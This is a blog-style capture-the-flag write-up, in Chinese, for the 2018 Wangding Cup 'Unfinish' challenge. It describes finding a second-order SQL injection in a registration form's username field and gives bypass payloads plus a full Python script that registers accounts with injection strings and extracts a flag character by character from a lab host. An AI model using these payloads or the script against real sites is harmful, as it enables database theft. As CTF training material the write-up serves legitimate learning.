[网鼎杯2018]Unfinish

 

 一个登录界面,简单测试了下没有发现什么注入点。。

用御剑扫了一下

扫出了个register.php

随便注册了下

 

 

登录进去发现没有东西,只有一张图片和用户名

猜测存在二次注入

随便试一下

 

 

 

 用户名显示为0

存在注入

fuzz了下发现故过滤了,和information

然后绕不过去。。

去看了下别人的wp

学到了新姿势

select '0'+ascii(substr(database(),1,1));

 

 可以得到库名第一位的ascii码

因为被过滤掉了information

所以爆不出字段名

猜测是flag

试试看

0'+ascii(substr((select * from flag) from 1 for 1))+'0
可以成功爆出值,说明字段名就是flag

 

就可以写脚本了

#coding:utf-8
import requests
import re


url = 'http://77a4fe69-f67f-4944-810f-6afe6ef17230.node4.buuoj.cn:81/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    content = r3.text
    con = re.findall('<span class="user-name">(.*?)</span>',content,re.S|re.M)
    a = int (con[0].strip())
    m = m+chr(a)
    print(m)

 

posted @ 2022-03-31 20:29  c0d1  阅读(173)  评论(0编辑  收藏  举报